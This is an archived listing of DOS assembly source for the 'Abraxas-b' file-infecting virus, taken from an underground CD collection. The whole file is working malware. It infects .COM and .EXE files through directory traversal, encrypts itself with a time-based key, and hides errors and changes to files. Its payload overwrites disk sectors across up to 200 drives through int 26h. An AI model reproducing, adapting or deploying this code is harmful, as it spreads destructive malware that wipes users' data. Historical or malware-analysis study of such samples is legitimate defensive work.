home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / u-z / z10-c.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  13.8 KB  |  366 lines

  1. ; Abraxas.asm : [Abraxas-b] by Abraxas
  2.  
  3.  
  4.  
  5. .model tiny                             ; Handy directive
  6.  
  7. .code                                   ; Virus code segment
  8.  
  9.           org    100h                   ; COM file starting IP
  10.  
  11.  
  12.  
  13. id = 'DA'                               ; ID word for EXE infections
  14.  
  15. entry_point: db 0e9h,0,0                ; jmp decrypt
  16.  
  17.  
  18.  
  19. decrypt:                                ; handles encryption and decryption
  20.  
  21. patch_startencrypt:
  22.  
  23.           mov  bx,offset startencrypt   ; start of decryption
  24.  
  25.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  26.  
  27. decrypt_loop:
  28.  
  29.           db   2eh,81h,07h              ; add word ptr cs:[bx], xxxx
  30.  
  31. decrypt_value dw 0                      ; initialised at zero for null effect
  32.  
  33.           inc  bx                       ; calculate new decryption location
  34.  
  35.           inc  bx
  36.  
  37.           loop decrypt_loop             ; decrypt mo'
  38.  
  39. startencrypt:
  40.  
  41.           call next                     ; calculate delta offset
  42.  
  43. next:     pop  bp                       ; bp = IP next
  44.  
  45.           sub  bp,offset next           ; bp = delta offset
  46.  
  47.  
  48.  
  49.           cmp  sp,id                    ; COM or EXE?
  50.  
  51.           je   restoreEXE
  52.  
  53. restoreCOM:
  54.  
  55.           lea  si,[bp+save3]
  56.  
  57.           mov  di,100h
  58.  
  59.           push di                       ; For later return
  60.  
  61.           movsb
  62.  
  63.           jmp  short restoreEXIT
  64.  
  65. restoreEXE:
  66.  
  67.           push ds
  68.  
  69.           push es
  70.  
  71.           push cs                       ; DS = CS
  72.  
  73.           pop  ds
  74.  
  75.           push cs                       ; ES = CS
  76.  
  77.           pop  es
  78.  
  79.           lea  si,[bp+jmpsave2]
  80.  
  81.           lea  di,[bp+jmpsave]
  82.  
  83.           movsw
  84.  
  85.           movsw
  86.  
  87.           movsw
  88.  
  89. restoreEXIT:
  90.  
  91.           movsw
  92.  
  93.  
  94.  
  95.           mov  byte ptr [bp+numinfec],5 ; reset infection counter
  96.  
  97.  
  98.  
  99.           mov  ah,1Ah                   ; Set new DTA
  100.  
  101.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  102.  
  103.           int  21h
  104.  
  105.  
  106.  
  107.           mov  ah,47h                   ; Get current directory
  108.  
  109.           mov  dl,0                     ; Current drive
  110.  
  111.           lea  si,[bp+origdir]          ; DS:SI->buffer
  112.  
  113.           int  21h
  114.  
  115.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  116.  
  117.  
  118.  
  119.           mov  ax,3524h                 ; Get int 24 handler
  120.  
  121.           int  21h                      ; to ES:BX
  122.  
  123.           mov  word ptr [bp+oldint24],bx; Save it
  124.  
  125.           mov  word ptr [bp+oldint24+2],es
  126.  
  127.           mov  ah,25h                   ; Set new int 24 handler
  128.  
  129.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  130.  
  131.           int  21h
  132.  
  133.           push cs                       ; Restore ES
  134.  
  135.           pop  es                       ; 'cuz it was changed
  136.  
  137.  
  138.  
  139. dir_scan:                               ; "dot dot" traversal
  140.  
  141.           lea  dx,[bp+exe_mask]
  142.  
  143.           call infect_mask
  144.  
  145.           lea  dx,[bp+com_mask]
  146.  
  147.           call infect_mask
  148.  
  149.           mov  ah,3bh                   ; change directory
  150.  
  151.           lea  dx,[bp+dot_dot]          ; "cd .."
  152.  
  153.           int  21h
  154.  
  155.           jnc  dir_scan                 ; go back for mo!
  156.  
  157.  
  158.  
  159. done_infections:
  160.  
  161. jmp  activate                           ; Always activate
  162.  
  163. exit_virus:
  164.  
  165.           mov  ax,2524h                 ; Restore int 24 handler
  166.  
  167.           lds  dx,[bp+offset oldint24]  ; to original
  168.  
  169.           int  21h
  170.  
  171.           push cs
  172.  
  173.           pop  ds
  174.  
  175.  
  176.  
  177.           mov  ah,3bh                   ; change directory
  178.  
  179.           lea  dx,[bp+origdir-1]        ; original directory
  180.  
  181.           int  21h
  182.  
  183.  
  184.  
  185.           mov  ah,1ah                   ; restore DTA to default
  186.  
  187.           mov  dx,80h                   ; DTA in PSP
  188.  
  189.           cmp  sp,id-4                  ; EXE or COM?
  190.  
  191.           jz   returnEXE
  192.  
  193. returnCOM:
  194.  
  195.           int  21h
  196.  
  197.           retn                          ; 100h is on stack
  198.  
  199. returnEXE:
  200.  
  201.           pop  es
  202.  
  203.           pop  ds
  204.  
  205.           int  21h
  206.  
  207.           mov  ax,es                    ; AX = PSP segment
  208.  
  209.           add  ax,10h                   ; Adjust for PSP
  210.  
  211.           add  word ptr cs:[bp+jmpsave+2],ax
  212.  
  213.           add  ax,word ptr cs:[bp+stacksave+2]
  214.  
  215.           cli                           ; Clear intrpts for stack manipulation
  216.  
  217.           mov  sp,word ptr cs:[bp+stacksave]
  218.  
  219.           mov  ss,ax
  220.  
  221.           sti
  222.  
  223.           db   0eah                     ; jmp ssss:oooo
  224.  
  225. jmpsave             dd ?                ; Original CS:IP
  226.  
  227. stacksave           dd ?                ; Original SS:SP
  228.  
  229. jmpsave2            db ?                ; Actually four bytes
  230.  
  231. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  232.  
  233. stacksave2          dd ?
  234.  
  235.  
  236.  
  237. activate:                               ; Conditions satisfied
  238.  
  239.         mov     cx,255                  ;  Nuke a few sectors
  240.  
  241.         mov     dx,1                    ;  Beginning with sector 1!!!
  242.  
  243.         int     26h                     ;  VIPERize them!!!! Rah!!!
  244.  
  245.         jc      error                   ;  Uh oh. Problem.
  246.  
  247.         add     sp,2                    ;  Worked great.  Clear the stack...
  248.  
  249. error:
  250.  
  251.         inc     al                      ;  Get another drive!
  252.  
  253.         cmp     al,200                  ;  Have we fried 200 drives?
  254.  
  255.         je      done_phrying            ;  Yep.
  256.  
  257.         jmp     short activate          ;  Nope.
  258.  
  259. done_phrying:
  260.  
  261.         cli                             ;  Disable Interrupts
  262.  
  263.         jmp  exit_virus
  264.  
  265.  
  266.  
  267. creator             db '[Z10]',0        ; Mass Produced Code Generator
  268.  
  269. virusname           db '[Abraxas-b]',0
  270.  
  271. author              db 'Abraxas',0
  272.  
  273.  
  274.  
  275. infect_mask:
  276.  
  277.           mov  ah,4eh                   ; find first file
  278.  
  279.           mov  cx,7                     ; any attribute
  280.  
  281. findfirstnext:
  282.  
  283.           int  21h                      ; DS:DX points to mask
  284.  
  285.           jc   exit_infect_mask         ; No mo files found
  286.  
  287.  
  288.  
  289.           mov  al,0h                    ; Open read only
  290.  
  291.           call open
  292.  
  293.  
  294.  
  295.           mov  ah,3fh                   ; Read file to buffer
  296.  
  297.           lea  dx,[bp+buffer]           ; @ DS:DX
  298.  
  299.           mov  cx,1Ah                   ; 1Ah bytes
  300.  
  301.           int  21h
  302.  
  303.  
  304.  
  305.           mov  ah,3eh                   ; Close file
  306.  
  307.           int  21h
  308.  
  309.  
  310.  
  311.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  312.  
  313.           jz   checkEXE                 ; Why yes, yes it is!
  314.  
  315. checkCOM:
  316.  
  317.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  318.  
  319.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  320.  
  321.           jz   find_next
  322.  
  323.  
  324.  
  325.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  326.  
  327.           cmp  ax,12000                 ; Is it too small?
  328.  
  329.           jb   find_next
  330.  
  331.  
  332.  
  333.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  334.  
  335.           ja   find_next
  336.  
  337.  
  338.  
  339.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  340.  
  341.           add  bx,heap-decrypt+3        ; Adjust for virus size
  342.  
  343.           cmp  ax,bx
  344.  
  345.           je   find_next                ; already infected
  346.  
  347.           jmp  infect_com
  348.  
  349. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  350.  
  351.           jnz  infect_exe
  352.  
  353. find_next:
  354.  
  355.           mov  ah,4fh                   ; find next file
  356.  
  357.           jmp  short findfirstnext
  358.  
  359. exit_infect_mask: ret
  360.  
  361.  
  362.  
  363. infect_exe:
  364.  
  365.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  366.  
  367.           mov  word ptr [bp+jmpsave2], ax
  368.  
  369.           mov  word ptr [bp+jmpsave2+2], es
  370.  
  371.  
  372.  
  373.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  374.  
  375.           mov  word ptr [bp+stacksave2], es
  376.  
  377.           mov  word ptr [bp+stacksave2+2], ax
  378.  
  379.  
  380.  
  381.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  382.  
  383.           mov  cl, 4                    ; convert to bytes
  384.  
  385.           shl  ax, cl
  386.  
  387.           xchg ax, bx
  388.  
  389.  
  390.  
  391.           les  ax, [bp+offset newDTA+26]; Get file size
  392.  
  393.           mov  dx, es                   ; to DX:AX
  394.  
  395.           push ax
  396.  
  397.           push dx
  398.  
  399.  
  400.  
  401.           sub  ax, bx                   ; Subtract header size from
  402.  
  403.           sbb  dx, 0                    ; file size
  404.  
  405.  
  406.  
  407.           mov  cx, 10h                  ; Convert to segment:offset
  408.  
  409.           div  cx                       ; form
  410.  
  411.  
  412.  
  413.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  414.  
  415.           mov  word ptr [bp+buffer+16h], ax
  416.  
  417.  
  418.  
  419.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  420.  
  421.           mov  word ptr [bp+buffer+10h], id
  422.  
  423.  
  424.  
  425.           pop  dx                       ; get file length
  426.  
  427.           pop  ax
  428.  
  429.  
  430.  
  431.           add  ax, heap-decrypt         ; add virus size
  432.  
  433.           adc  dx, 0
  434.  
  435.  
  436.  
  437.           mov  cl, 9
  438.  
  439.           push ax
  440.  
  441.           shr  ax, cl
  442.  
  443.           ror  dx, cl
  444.  
  445.           stc
  446.  
  447.           adc  dx, ax
  448.  
  449.           pop  ax
  450.  
  451.           and  ah, 1                    ; mod 512
  452.  
  453.  
  454.  
  455.           mov  word ptr [bp+buffer+4], dx ; new file size
  456.  
  457.           mov  word ptr [bp+buffer+2], ax
  458.  
  459.  
  460.  
  461.           push cs                       ; restore ES
  462.  
  463.           pop  es
  464.  
  465.  
  466.  
  467.           push word ptr [bp+buffer+14h] ; needed later
  468.  
  469.           mov  cx, 1ah
  470.  
  471.           jmp  short finishinfection
  472.  
  473. infect_com:                             ; ax = filesize
  474.  
  475.           mov  cx,3
  476.  
  477.           sub  ax,cx
  478.  
  479.           lea  si,[bp+offset buffer]
  480.  
  481.           lea  di,[bp+offset save3]
  482.  
  483.           movsw
  484.  
  485.           movsb
  486.  
  487.           mov  byte ptr [si-3],0e9h
  488.  
  489.           mov  word ptr [si-2],ax
  490.  
  491.           add  ax,103h
  492.  
  493.           push ax                       ; needed later
  494.  
  495. finishinfection:
  496.  
  497.           push cx                       ; Save # bytes to write
  498.  
  499.           xor  cx,cx                    ; Clear attributes
  500.  
  501.           call attributes               ; Set file attributes
  502.  
  503.  
  504.  
  505.           mov  al,2
  506.  
  507.           call open
  508.  
  509.  
  510.  
  511.           mov  ah,40h                   ; Write to file
  512.  
  513.           lea  dx,[bp+buffer]           ; Write from buffer
  514.  
  515.           pop  cx                       ; cx bytes
  516.  
  517.           int  21h
  518.  
  519.  
  520.  
  521.           mov  ax,4202h                 ; Move file pointer
  522.  
  523.           xor  cx,cx                    ; to end of file
  524.  
  525.           cwd                           ; xor dx,dx
  526.  
  527.           int  21h
  528.  
  529.  
  530.  
  531. get_encrypt_value:
  532.  
  533.           mov  ah,2ch                   ; Get current time
  534.  
  535.           int  21h                      ; dh=sec,dl=1/100 sec
  536.  
  537.           or  dx,dx                     ; Check if encryption value = 0
  538.  
  539.           jz  get_encrypt_value         ; Get another if it is
  540.  
  541.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  542.  
  543.           lea  di,[bp+code_store]
  544.  
  545.           mov  ax,5355h                 ; push bp,push bx
  546.  
  547.           stosw
  548.  
  549.           lea  si,[bp+decrypt]          ; Copy encryption function
  550.  
  551.           mov  cx,startencrypt-decrypt  ; Bytes to move
  552.  
  553.           push si                       ; Save for later use
  554.  
  555.           push cx
  556.  
  557.           rep  movsb
  558.  
  559.  
  560.  
  561.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  562.  
  563.  
  564.  
  565.           lea    si,[bp+write]          ; Copy writing function
  566.  
  567.           mov    cx,endwrite-write      ; Bytes to move
  568.  
  569.           rep    movsb
  570.  
  571.           pop    cx
  572.  
  573.           pop    si
  574.  
  575.           pop    dx                     ; Entry point of virus
  576.  
  577.           push   di
  578.  
  579.           push   si
  580.  
  581.           push   cx
  582.  
  583.           rep    movsb                  ; Copy decryption function
  584.  
  585.           mov    ax,5b5dh               ; pop bx,pop bp
  586.  
  587.           stosw
  588.  
  589.           mov    al,0c3h                ; retn
  590.  
  591.           stosb
  592.  
  593.  
  594.  
  595.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  596.  
  597.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  598.  
  599.           call   code_store             ; decryption
  600.  
  601.           pop    cx
  602.  
  603.           pop    di
  604.  
  605.           pop    si
  606.  
  607.           rep    movsb                  ; Restore decryption function
  608.  
  609.  
  610.  
  611.           mov  ax,5701h                 ; Restore creation date/time
  612.  
  613.           mov  cx,word ptr [bp+newDTA+16h] ; time
  614.  
  615.           mov  dx,word ptr [bp+newDTA+18h] ; date
  616.  
  617.           int  21h
  618.  
  619.  
  620.  
  621.           mov  ah,3eh                   ; Close file
  622.  
  623.           int  21h
  624.  
  625.  
  626.  
  627.           mov ch,0
  628.  
  629.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  630.  
  631.           call attributes               ; attributes
  632.  
  633.  
  634.  
  635.           dec  byte ptr [bp+numinfec]   ; One mo infection
  636.  
  637.           jnz  mo_infections            ; Not enough
  638.  
  639.           pop  ax                       ; remove call from stack
  640.  
  641.           jmp  done_infections
  642.  
  643. mo_infections: jmp find_next
  644.  
  645.  
  646.  
  647. open:
  648.  
  649.           mov  ah,3dh
  650.  
  651.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  652.  
  653.           int  21h
  654.  
  655.           xchg ax,bx
  656.  
  657.           ret
  658.  
  659.  
  660.  
  661. attributes:
  662.  
  663.           mov  ax,4301h                 ; Set attributes to cx
  664.  
  665.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  666.  
  667.           int  21h
  668.  
  669.           ret
  670.  
  671.  
  672.  
  673. write:
  674.  
  675.           pop  bx                       ; Restore file handle
  676.  
  677.           pop  bp                       ; Restore relativeness
  678.  
  679.           mov  ah,40h                   ; Write to file
  680.  
  681.           lea  dx,[bp+decrypt]          ; Concatenate virus
  682.  
  683.           mov  cx,heap-decrypt          ; # bytes to write
  684.  
  685.           int  21h
  686.  
  687.           push bx
  688.  
  689.           push bp
  690.  
  691. endwrite:
  692.  
  693.  
  694.  
  695. int24:                                  ; New int 24h (error) handler
  696.  
  697.           mov  al,3                     ; Fail call
  698.  
  699.           iret                          ; Return control
  700.  
  701.  
  702.  
  703. exe_mask            db '*.exe',0
  704.  
  705. com_mask            db '*.com',0
  706.  
  707. dot_dot             db '..',0
  708.  
  709. heap:                                   ; Variables not in code
  710.  
  711. ; The following code is the buffer for the write function
  712.  
  713. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  714.  
  715. oldint24            dd ?                ; Storage for old int 24h handler      
  716.  
  717. backslash           db ?
  718.  
  719. origdir             db 64 dup (?)       ; Current directory buffer             
  720.  
  721. newDTA              db 43 dup (?)       ; Temporary DTA                        
  722.  
  723. numinfec            db ?                ; Infections this run                  
  724.  
  725. buffer              db 1ah dup (?)      ; read buffer                          
  726.  
  727. endheap:                                ; End of virus
  728.  
  729. end       entry_point
  730.  
  731.